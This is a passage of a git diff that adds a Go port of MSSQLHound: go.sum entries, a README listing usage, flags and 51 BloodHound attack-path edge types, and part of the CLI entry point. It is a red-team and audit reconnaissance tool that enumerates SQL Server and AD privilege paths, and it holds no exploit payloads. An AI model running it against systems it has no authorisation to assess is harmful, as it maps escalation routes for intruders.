+github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
+github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
+github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
+github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
+github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
+github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
+golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc=
+golang.org/x/crypto v0.45.0 h1:jMBrvKuj23MTlT0bQEOBcAE0mjg8mK9RXFhRH6nyF3Q=
+golang.org/x/crypto v0.45.0/go.mod h1:XTGrrkGJve7CYK7J8PEww4aY7gM3qMCElcJQ8n8JdX4=
+golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
+golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
+golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
+golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
+golang.org/x/net v0.47.0 h1:Mx+4dIFzqraBXUugkia1OOvlD6LemFo1ALMHjrXDOhY=
+golang.org/x/net v0.47.0/go.mod h1:/jNxtkgq5yWUGYkaZGqo27cfGZ1c5Nen03aYrrKpVRU=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.38.0 h1:3yZWxaJjBmCWXqhN1qh02AkOnCQ1poK6oF+a7xWL6Gc=
+golang.org/x/sys v0.38.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
+golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
+golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
+golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
+golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
+golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
+golang.org/x/text v0.31.0 h1:aC8ghyu4JhP8VojJ2lEHBnochRno1sgL6nEi9WGFGMM=
+golang.org/x/text v0.31.0/go.mod h1:tKRAlv61yKIjGGHX/4tP1LTbc13YSec1pxVEWXzfoeM=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
+golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/go/README.md b/go/README.md
new file mode 100644
index 0000000..e7fdafb
--- /dev/null
+++ b/go/README.md
@@ -0,0 +1,374 @@
+# MSSQLHound Go
+
+A Go port of the [MSSQLHound](https://github.com/SpecterOps/MSSQLHound) PowerShell collector for adding MSSQL attack paths to BloodHound.
+
+## Why a Go Port?
+
+The original MSSQLHound PowerShell script is an excellent tool for SQL Server security analysis, but has some limitations that motivated this Go port:
+
+### Performance
+- **Concurrent Processing**: The Go version processes multiple SQL servers simultaneously using worker pools, significantly reducing total enumeration time in large environments
+- **Streaming Output**: Memory-efficient JSON streaming prevents memory exhaustion when collecting from servers with thousands of principals
+- **Compiled Binary**: No PowerShell interpreter overhead, faster startup and execution
+
+### Portability
+- **Cross-Platform**: Runs on Windows, Linux, and macOS (Windows authentication requires Windows)
+- **Single Binary**: No dependencies, easy to deploy and run
+- **No PowerShell Required**: Can run on systems without PowerShell installed
+
+### Compatibility
+- **PowerShell Fallback**: When the native Go SQL driver fails (e.g., certain SSPI configurations), automatically falls back to PowerShell's `System.Data.SqlClient` for maximum compatibility
+- **Full Feature Parity**: Produces identical BloodHound-compatible output
+
+### Maintainability
+- **Strongly Typed**: Go's type system catches errors at compile time
+- **Unit Testable**: Comprehensive test coverage for edge generation logic
+- **Modular Architecture**: Clean separation between collection, graph generation, and output
+
+## Overview
+
+MSSQLHound collects security-relevant information from Microsoft SQL Server instances and produces BloodHound OpenGraph-compatible JSON files. This Go implementation provides the same functionality as the PowerShell version with the improvements listed above.
+
+## Features
+
+- **SQL Server Collection**: Enumerates server principals (logins, server roles), databases, database principals (users, roles), permissions, and role memberships
+- **Linked Server Discovery**: Maps SQL Server linked server relationships
+- **Active Directory Integration**: Resolves Windows logins to domain principals via LDAP
+- **BloodHound Output**: Produces OpenGraph JSON format compatible with BloodHound CE
+- **Streaming Output**: Memory-efficient streaming JSON writer for large environments
+- **Automatic Fallback**: Falls back to PowerShell for servers with SSPI issues
+- **LDAP Paging**: Handles large domains with thousands of computers/SPNs
+
+## Building
+
+```bash
+cd go
+go build -o mssqlhound.exe ./cmd/mssqlhound
+```
+
+## Usage
+
+### Basic Usage
+
+Collect from a single SQL Server:
+```bash
+# Windows integrated authentication
+./mssqlhound -s sql.contoso.com
+
+# SQL authentication
+./mssqlhound -s sql.contoso.com -u sa -p password
+
+# Named instance
+./mssqlhound -s "sql.contoso.com\INSTANCE"
+
+# Custom port
+./mssqlhound -s "sql.contoso.com:1434"
+```
+
+### Multiple Servers
+
+```bash
+# From command line
+./mssqlhound --server-list "server1,server2,server3"
+
+# From file (one server per line)
+./mssqlhound --server-list-file servers.txt
+
+# With concurrent workers (default: 10)
+./mssqlhound --server-list-file servers.txt -w 20
+```
+
+### Full Domain Enumeration
+
+```bash
+# Scan all computers in the domain (not just those with SQL SPNs)
+./mssqlhound --scan-all-computers
+
+# With explicit LDAP credentials (recommended for large domains)
+./mssqlhound --scan-all-computers --ldap-user "DOMAIN\username" --ldap-password "password"
+```
+
+### Options
+
+| Flag | Description |
+|------|-------------|
+| `-s, --server` | SQL Server instance (host, host:port, or host\instance) |
+| `-u, --user` | SQL login username |
+| `-p, --password` | SQL login password |
+| `-d, --domain` | Domain for name/SID resolution |
+| `--dc` | Domain controller to use |
+| `-w, --workers` | Number of concurrent workers (default: 10) |
+| `-o, --output-directory` | Output directory for zip file |
+| `--scan-all-computers` | Scan all domain computers, not just those with SPNs |
+| `--ldap-user` | LDAP username for AD queries (DOMAIN\\user or user@domain) |
+| `--ldap-password` | LDAP password for AD queries |
+| `--skip-linked-servers` | Don't enumerate linked servers |
+| `--collect-from-linked` | Full collection on discovered linked servers |
+| `--skip-ad-nodes` | Skip creating User, Group, Computer nodes |
+| `--skip-private-address` | Skip servers with private IP addresses |
+| `--include-nontraversable` | Include non-traversable edges |
+| `-v, --verbose` | Enable verbose output |
+
+## Key Differences from PowerShell Version
+
+### Behavioral Differences
+
+| Feature | PowerShell | Go |
+|---------|------------|-----|
+| **Concurrency** | Single-threaded | Multi-threaded with configurable worker pool |
+| **Memory Usage** | Loads all data in memory | Streaming JSON output |
+| **Cross-Platform** | Windows only | Windows, Linux, macOS |
+| **SSPI Fallback** | N/A (native .NET) | Falls back to PowerShell for problematic servers |
+| **LDAP Paging** | Automatic via .NET | Explicit paging implementation |
+| **Duplicate Edges** | May emit duplicates | De-duplicates edges |
+
+### Edge Generation Differences
+
+#### `MSSQL_HasLogin` Edges
+
+| Aspect | PowerShell | Go |
+|--------|------------|-----|
+| **Domain Validation** | Calls `Resolve-DomainPrincipal` to verify the SID exists in Active Directory | Creates edges for all domain SIDs (`S-1-5-21-*`) |
+| **Orphaned Logins** | Skips logins where AD account no longer exists | Includes all logins regardless of AD status |
+| **Edge Count** | Fewer edges (only verified AD accounts) | More edges (all domain-authenticated logins) |
+
+**Why Go includes more edges**: For security analysis, orphaned SQL logins (where the AD account was deleted but the SQL login remains) still represent valid attack paths. An attacker who can restore or impersonate the deleted account's SID could still authenticate to SQL Server. The Go version captures these potential risks.
+
+#### `HasSession` Edges
+
+| Aspect | PowerShell | Go |
+|--------|------------|-----|
+| **Self-referencing** | Creates edge when computer runs SQL as itself (LocalSystem) | Skips self-referencing edges |
+
+**Why Go skips self-loops**: A `HasSession` edge from a computer to itself (when SQL Server runs as LocalSystem/the computer account) doesn't provide meaningful attack path information.
+
+#### `MSSQL_AddMember` Edges
+
+| Aspect | PowerShell | Go |
+|--------|------------|-----|
+| **Duplicates** | May emit duplicate edges | De-duplicates all edges |
+
+**Why Go has fewer edges**: The PowerShell version may emit the same AddMember edge multiple times in certain scenarios. Go ensures each unique edge is only emitted once.
+
+### Connection Handling
+
+The Go version includes automatic PowerShell fallback for servers that fail with the native `go-mssqldb` driver:
+
+```
+Native connection: go-mssqldb (fast, cross-platform)
+ ↓ fails with "untrusted domain" error
+Fallback: PowerShell + System.Data.SqlClient (Windows only, more compatible)
+```
+
+This ensures maximum compatibility while maintaining performance for the majority of servers.
+
+### LDAP Connection Methods
+
+The Go version tries multiple LDAP connection methods in order:
+
+1. **LDAPS (port 636)** - TLS encrypted, most secure
+2. **LDAP + StartTLS (port 389)** - Upgrade to TLS
+3. **Plain LDAP (port 389)** - Unencrypted (may fail if DC requires signing)
+4. **PowerShell/ADSI Fallback** - Windows COM-based fallback
+
+## Output Format
+
+MSSQLHound produces BloodHound OpenGraph JSON files containing:
+
+### Node Types
+- `MSSQLServer` - SQL Server instances
+- `MSSQLLogin` - Server-level logins
+- `MSSQLServerRole` - Server roles (sysadmin, securityadmin, etc.)
+- `MSSQLDatabase` - Databases
+- `MSSQLDatabaseUser` - Database users
+- `MSSQLDatabaseRole` - Database roles (db_owner, db_securityadmin, etc.)
+
+### Edge Types
+
+The Go implementation supports 51 edge kinds with full feature parity to the PowerShell version:
+
+| Edge Kind | Description | Traversable |
+|-----------|-------------|-------------|
+| `MSSQL_MemberOf` | Principal is a member of a role, inheriting all role permissions | Yes |
+| `MSSQL_IsMappedTo` | Login is mapped to a database user, granting automatic database access | Yes |
+| `MSSQL_Contains` | Containment relationship showing hierarchy (Server→DB, DB→User, etc.) | Yes |
+| `MSSQL_Owns` | Principal owns an object, providing full control | Yes |
+| `MSSQL_ControlServer` | Has CONTROL SERVER permission, granting sysadmin-equivalent control | Yes |
+| `MSSQL_ControlDB` | Has CONTROL on database, granting db_owner-equivalent permissions | Yes |
+| `MSSQL_ControlDBRole` | Has CONTROL on database role, allowing full control including member management | Yes |
+| `MSSQL_ControlDBUser` | Has CONTROL on database user, allowing impersonation | Yes |
+| `MSSQL_ControlLogin` | Has CONTROL on login, allowing impersonation and password changes | Yes |
+| `MSSQL_ControlServerRole` | Has CONTROL on server role, allowing member management | Yes |
+| `MSSQL_Impersonate` | Can impersonate target principal | Yes |
+| `MSSQL_ImpersonateAnyLogin` | Can impersonate any server login | Yes |
+| `MSSQL_ImpersonateDBUser` | Can impersonate specific database user | Yes |
+| `MSSQL_ImpersonateLogin` | Can impersonate specific server login | Yes |
+| `MSSQL_ChangePassword` | Can change target's password without knowing current password | Yes |
+| `MSSQL_AddMember` | Can add members to target role | Yes |
+| `MSSQL_Alter` | Has ALTER permission on target object | No |
+| `MSSQL_AlterDB` | Has ALTER permission on database | No |
+| `MSSQL_AlterDBRole` | Has ALTER permission on database role | No |
+| `MSSQL_AlterServerRole` | Has ALTER permission on server role | No |
+| `MSSQL_Control` | Has CONTROL permission on target object | No |
+| `MSSQL_ChangeOwner` | Can take ownership via TAKE OWNERSHIP permission | Yes |
+| `MSSQL_AlterAnyLogin` | Can alter any login on the server | No |
+| `MSSQL_AlterAnyServerRole` | Can alter any server role | No |
+| `MSSQL_AlterAnyRole` | Can alter any role (generic) | No |
+| `MSSQL_AlterAnyDBRole` | Can alter any database role | No |
+| `MSSQL_AlterAnyAppRole` | Can alter any application role | No |
+| `MSSQL_GrantAnyPermission` | Can grant ANY server permission (securityadmin capability) | Yes |
+| `MSSQL_GrantAnyDBPermission` | Can grant ANY database permission (db_securityadmin capability) | Yes |
+| `MSSQL_LinkedTo` | Linked server connection to another SQL Server | Yes |
+| `MSSQL_LinkedAsAdmin` | Linked server with admin privileges on remote server | Yes |
+| `MSSQL_ExecuteAsOwner` | TRUSTWORTHY DB allows privilege escalation via owner permissions | Yes |
+| `MSSQL_IsTrustedBy` | Database has TRUSTWORTHY enabled | Yes |
+| `MSSQL_HasDBScopedCred` | Database has database-scoped credential for external auth | No |
+| `MSSQL_HasMappedCred` | Login has mapped credential | No |
+| `MSSQL_HasProxyCred` | Principal can use SQL Agent proxy account | No |
+| `MSSQL_ServiceAccountFor` | Domain account is service account for SQL Server | Yes |
+| `MSSQL_HostFor` | Computer hosts the SQL Server instance | Yes |
+| `MSSQL_ExecuteOnHost` | SQL Server can execute OS commands on host | Yes |
+| `MSSQL_TakeOwnership` | Has TAKE OWNERSHIP permission | Yes |
+| `MSSQL_DBTakeOwnership` | Has TAKE OWNERSHIP on database | Yes |
+| `MSSQL_CanExecuteOnServer` | Can execute code on server | Yes |
+| `MSSQL_CanExecuteOnDB` | Can execute code on database | Yes |
+| `MSSQL_Connect` | Has CONNECT SQL permission | No |
+| `MSSQL_ConnectAnyDatabase` | Can connect to any database | No |
+| `MSSQL_ExecuteAs` | Can execute as target (action edge) | Yes |
+| `MSSQL_HasLogin` | Domain account has SQL Server login | Yes |
+| `MSSQL_GetTGS` | Service account SPN enables Kerberoasting | Yes |
+| `MSSQL_GetAdminTGS` | Service account SPN enables Kerberoasting with admin access | Yes |
+| `HasSession` | AD account has session on computer | Yes |
+| `CoerceAndRelayToMSSQL` | EPA disabled, enables NTLM relay attacks | Yes |
+
+**Note:** Traversable edges represent attack paths that can be directly exploited. Non-traversable edges provide context but may not always be directly abusable.
+
+## CVE Detection
+
+The Go version includes detection for SQL Server vulnerabilities:
+
+### CVE-2025-49758
+Checks if the SQL Server version is vulnerable to CVE-2025-49758 and reports the status:
+- `VULNERABLE` - Server is running an affected version
+- `NOT vulnerable` - Server has been patched
+
+## Known Limitations and Issues
+
+### Windows Authentication on Non-Windows Platforms
+
+Windows Integrated Authentication (SSPI/Kerberos) is only available when running on Windows. On Linux/macOS, use SQL authentication instead.
+
+### GSSAPI/Kerberos Authentication Issues
+
+The Go LDAP library's GSSAPI implementation may fail in certain environments with errors like:
+
+```
+LDAP Result Code 49 "Invalid Credentials": 80090346: LdapErr: DSID-0C0906CF,
+comment: AcceptSecurityContext error, data 80090346
+```
+
+**Common causes:**
+- Channel binding token (CBT) mismatch between client and server
+- Kerberos ticket issues (expired, clock skew, wrong realm)
+- Domain controller requires specific LDAP signing/sealing options
+
+**Solutions:**
+
+1. **Use explicit LDAP credentials** (recommended for `--scan-all-computers`):
+ ```bash
+ ./mssqlhound --scan-all-computers --ldap-user "DOMAIN\username" --ldap-password "password"
+ ```
+
+2. **Verify Kerberos tickets**:
+ ```bash
+ klist # Check current tickets
+ klist purge # Clear and re-acquire tickets
+ ```
+
+3. **Check time synchronization** - Kerberos requires clocks within 5 minutes
+
+### LDAP Size Limits
+
+Active Directory has a default maximum result size of 1000 objects per query. The Go version implements LDAP paging to handle domains with more than 1000 computers or SPNs. If you see "Size Limit Exceeded" errors, ensure you're using the latest version.
+
+### SQL Server SSPI Compatibility
+
+Some SQL Server instances with specific SSPI configurations may fail to connect with the native Go driver.
+
+**Symptom:**
+```
+Login failed. The login is from an untrusted domain and cannot be used with Windows authentication
+```
+
+**Automatic Handling:** The Go version detects this error and automatically retries using PowerShell's `System.Data.SqlClient`, which handles these edge cases more reliably. This fallback requires PowerShell to be available on the system.
+
+### PowerShell Fallback Limitations
+
+The PowerShell fallback for SQL connections and AD enumeration requires:
+- Windows operating system
+- PowerShell execution not blocked by security policy
+- Access to `System.Data.SqlClient` (.NET Framework)
+
+If PowerShell is blocked (e.g., `Access is denied` error), the fallback will not work. In this case:
+- For SQL connections: Some servers may not be reachable
+- For AD enumeration: Use explicit LDAP credentials instead
+
+### When to Use LDAP Credentials
+
+Use `--ldap-user` and `--ldap-password` when:
+
+1. **Full domain computer enumeration** (`--scan-all-computers`) - GSSAPI often fails with the Go library due to CBT issues
+2. **Cross-domain scenarios** - When enumerating from a machine in a different domain
+3. **Service account execution** - When running as a service account that may have Kerberos delegation issues
+4. **Troubleshooting GSSAPI failures** - As a workaround when implicit authentication fails
+
+**Example:**
+```bash
+# Recommended for large domain enumeration
+./mssqlhound --scan-all-computers \
+ --ldap-user "DOMAIN\svc_mssqlhound" \
+ --ldap-password "SecurePassword123" \
+ -w 50
+```
+
+## Troubleshooting
+
+### Verbose Output
+
+Use `-v` or `--verbose` to see detailed connection attempts and errors:
+
+```bash
+./mssqlhound -s sql.contoso.com -v
+```
+
+### Common Error Messages
+
+| Error | Cause | Solution |
+|-------|-------|----------|
+| `untrusted domain` | SSPI negotiation failed | Automatic PowerShell fallback; check domain trust |
+| `Size Limit Exceeded` | Too many LDAP results | Update to latest version (has paging) |
+| `80090346` | GSSAPI/Kerberos failure | Use explicit LDAP credentials |
+| `Strong Auth Required` | DC requires LDAP signing | Will automatically try LDAPS/StartTLS |
+| `Access is denied` (PowerShell) | Execution policy blocked | Use explicit LDAP credentials instead |
+
+### Debug LDAP Connection
+
+The verbose output shows which LDAP connection methods are attempted:
+
+```
+LDAPS:636 GSSAPI:
+LDAP:389+StartTLS GSSAPI:
+LDAP:389 GSSAPI:
+```
+
+This helps identify whether the issue is TLS-related or authentication-related.
+
+## License
+
+GPLv3 License - see LICENSE file.
+
+## Credits
+
+- Original PowerShell version by Chris Thompson (@_Mayyhem) at SpecterOps
+- Go port by Javier Azofra at Siemens Healthineers
+
diff --git a/go/bin/mssqlhound.exe b/go/bin/mssqlhound.exe
new file mode 100644
index 0000000..7e0d56f
Binary files /dev/null and b/go/bin/mssqlhound.exe differ
diff --git a/go/cmd/mssqlhound/main.go b/go/cmd/mssqlhound/main.go
new file mode 100644
index 0000000..4e75625
--- /dev/null
+++ b/go/cmd/mssqlhound/main.go
@@ -0,0 +1,176 @@
+package main
+
+import (
+ "context"
+ "fmt"
+ "net"
+ "os"
+ "strings"
+ "time"
+
+ "github.com/SpecterOps/MSSQLHound/internal/collector"
+ "github.com/spf13/cobra"
+)
+
+var (
+ version = "1.1.0"
+
+ // Connection options
+ serverInstance string
+ serverListFile string
+ serverList string
+ userID string
+ password string
+ domain string
+ domainController string
+ dcIP string
+ dnsResolver string
+ ldapUser string
+ ldapPassword string
+
+ // Output options
+ outputFormat string
+ tempDir string
+ zipDir string
+ fileSizeLimit string
+ verbose bool
+
+ // Collection options
+ domainEnumOnly bool
+ skipLinkedServerEnum bool
+ collectFromLinkedServers bool
+ skipPrivateAddress bool
+ scanAllComputers bool
+ skipADNodeCreation bool
+ includeNontraversableEdges bool
+ makeInterestingEdgesTraversable bool
+
+ // Timeouts and limits
+ linkedServerTimeout int
+ memoryThresholdPercent int
+ fileSizeUpdateInterval int
+
+ // Concurrency
+ workers int
+)
+
+func main() {
+ rootCmd := &cobra.Command{
+ Use: "mssqlhound",
+ Short: "MSSQLHound: Collector for adding MSSQL attack paths to BloodHound",
+ Long: `MSSQLHound: Collector for adding MSSQL attack paths to BloodHound with OpenGraph
+
+Author: Chris Thompson (@_Mayyhem) at SpecterOps
+Go port: Javier Azofra at Siemens Healthineers
+
+Collects BloodHound OpenGraph compatible data from one or more MSSQL servers into individual files, then zips them.`,
+ Version: version,
+ RunE: run,
+ }
+
+ // Connection flags
+ rootCmd.Flags().StringVarP(&serverInstance, "server", "s", "", "SQL Server instance to collect from (host, host:port, or host\\instance)")
+ rootCmd.Flags().StringVar(&serverListFile, "server-list-file", "", "File containing list of servers (one per line)")
+ rootCmd.Flags().StringVar(&serverList, "server-list", "", "Comma-separated list of servers")
+ rootCmd.Flags().StringVarP(&userID, "user", "u", "", "SQL login username")
+ rootCmd.Flags().StringVarP(&password, "password", "p", "", "SQL login password")
+ rootCmd.Flags().StringVarP(&domain, "domain", "d", "", "Domain to use for name and SID resolution")
+ rootCmd.Flags().StringVar(&domainController, "dc", "", "Domain controller to use for resolution")
+ rootCmd.Flags().StringVar(&dcIP, "dc-ip", "", "Domain controller IP address (will be used as DNS resolver if --dns-resolver not specified)")
+ rootCmd.Flags().StringVar(&dnsResolver, "dns-resolver", "", "DNS resolver IP address for domain lookups")
+ rootCmd.Flags().StringVar(&ldapUser, "ldap-user", "", "LDAP user (DOMAIN\\user or user@domain) for GSSAPI/Kerberos bind")
+ rootCmd.Flags().StringVar(&ldapPassword, "ldap-password", "", "LDAP password for GSSAPI/Kerberos bind")
+
+ // Output flags
+ rootCmd.Flags().StringVarP(&outputFormat, "output-format", "o", "BloodHound", "Output format: BloodHound, BHGeneric")
+ rootCmd.Flags().StringVar(&tempDir, "temp-dir", "", "Temporary directory for output files")
+ rootCmd.Flags().StringVar(&zipDir, "zip-dir", ".", "Directory for final zip file")
+ rootCmd.Flags().StringVar(&fileSizeLimit, "file-size-limit", "1GB", "Stop enumeration after files exceed this size")
+ rootCmd.Flags().BoolVarP(&verbose, "verbose", "v", false, "Enable verbose output showing detailed collection progress")
+
+ // Collection flags
+ rootCmd.Flags().BoolVar(&domainEnumOnly, "domain-enum-only", false, "Only enumerate SPNs, skip MSSQL collection")
+ rootCmd.Flags().BoolVar(&skipLinkedServerEnum, "skip-linked-servers", false, "Don't enumerate linked servers")
+ rootCmd.Flags().BoolVar(&collectFromLinkedServers, "collect-from-linked", false, "Perform full collection on discovered linked servers")
+ rootCmd.Flags().BoolVar(&skipPrivateAddress, "skip-private-address", false, "Skip private IP check when resolving domains")
+ rootCmd.Flags().BoolVar(&scanAllComputers, "scan-all-computers", false, "Scan all domain computers, not just those with SPNs")
+ rootCmd.Flags().BoolVar(&skipADNodeCreation, "skip-ad-nodes", false, "Skip creating User, Group, Computer nodes")
+ rootCmd.Flags().BoolVar(&includeNontraversableEdges, "include-nontraversable", false, "Include non-traversable edges")
+ rootCmd.Flags().BoolVar(&makeInterestingEdgesTraversable, "make-interesting-traversable", true, "Make interesting edges traversable (default true)")
+
+ // Timeout/limit flags
+ rootCmd.Flags().IntVar(&linkedServerTimeout, "linked-timeout", 300, "Linked server enumeration timeout (seconds)")
+ rootCmd.Flags().IntVar(&memoryThresholdPercent, "memory-threshold", 90, "Stop when memory exceeds this percentage")
+ rootCmd.Flags().IntVar(&fileSizeUpdateInterval, "size-update-interval", 5, "Interval for file size updates (seconds)")
+
+ // Concurrency flags
+ rootCmd.Flags().IntVarP(&workers, "workers", "w", 0, "Number of concurrent workers (0 = sequential processing)")
+
+ if err := rootCmd.Execute(); err != nil {
+ fmt.Fprintf(os.Stderr, "Error: %v\n", err)
+ os.Exit(1)
+ }
+}
+
+func run(cmd *cobra.Command, args []string) error {
+ fmt.Printf("MSSQLHound v%s\n", version)
+ fmt.Println("Author: Chris Thompson (@_Mayyhem) at SpecterOps")
+ fmt.Println("Go port: Javier Azofra at Siemens Healthineers")
+ fmt.Println()
+
+ // Configure custom DNS resolver if specified
+ // If --dc-ip is specified but --dns-resolver is not, use dc-ip as the resolver
+ resolver := dnsResolver
+ if resolver == "" && dcIP != "" {
+ resolver = dcIP
+ }
+
+ if resolver != "" {
+ fmt.Printf("Using custom DNS resolver: %s\n", resolver)
+ net.DefaultResolver = &net.Resolver{
+ PreferGo: true,
+ Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
+ d := net.Dialer{
+ Timeout: time.Millisecond * time.Duration(10000),
+ }
+ return d.DialContext(ctx, network, net.JoinHostPort(resolver, "53"))
+ },
+ }
+ }
+
+ // Build configuration from flags
+ config := &collector.Config{
+ ServerInstance: serverInstance,
+ ServerListFile: serverListFile,
+ ServerList: serverList,
+ UserID: userID,
+ Password: password,
+ Domain: strings.ToUpper(domain),
+ DomainController: domainController,
+ DCIP: dcIP,
+ DNSResolver: dnsResolver,
+ LDAPUser: ldapUser,
+ LDAPPassword: ldapPassword,
+ OutputFormat: outputFormat,
+ TempDir: tempDir,
+ ZipDir: zipDir,
+ FileSizeLimit: fileSizeLimit,
+ Verbose: verbose,
+ DomainEnumOnly: domainEnumOnly,
+ SkipLinkedServerEnum: skipLinkedServerEnum,
+ CollectFromLinkedServers: collectFromLinkedServers,
+ SkipPrivateAddress: skipPrivateAddress,
+ ScanAllComputers: scanAllComputers,
+ SkipADNodeCreation: skipADNodeCreation,
